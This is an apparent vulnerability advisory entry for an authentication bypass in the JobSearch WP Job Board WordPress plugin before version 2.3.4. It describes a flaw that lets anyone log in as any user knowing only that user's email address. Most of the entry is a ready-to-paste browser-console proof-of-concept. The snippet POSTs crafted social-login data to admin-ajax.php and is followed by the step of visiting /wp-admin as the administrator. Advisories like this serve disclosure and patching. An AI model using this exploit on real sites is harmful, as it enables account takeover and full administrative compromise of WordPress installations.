Lucene search

K
wpexploitMarc MontpasWPEX-ID:E528E3CD-A45C-4BF7-A37A-101F5C257ACD
HistoryFeb 02, 2024 - 12:00 a.m.

JobSearch WP Job Board < 2.3.4 - Authentication Bypass

2024-02-0200:00:00
Marc Montpas
148
jobsearch
wp job board
authentication bypass
browser
console
exploit
admin access
security vulnerability

AI Score

6.8

Confidence

High

EPSS

0

Percentile

9.0%

Description The plugin does not prevent attackers from logging-in as any users with the only knowledge of that user’s email address.

Browse to the site, paste the following in your browser's console (replace the email address with that site's administrator's email address):

fetch('/wp-admin/admin-ajax.php', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
    },
    body: new URLSearchParams({
        'action': 'jobsearch_facebook_get_soc_login_url',
        'user_data': JSON.stringify({
            "id": Math.random()*1000,
            "email": "[email protected]",
        })
    })
})
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));

Then access /wp-admin, and notice you're logged-in as an admin.

AI Score

6.8

Confidence

High

EPSS

0

Percentile

9.0%

Related for WPEX-ID:E528E3CD-A45C-4BF7-A37A-101F5C257ACD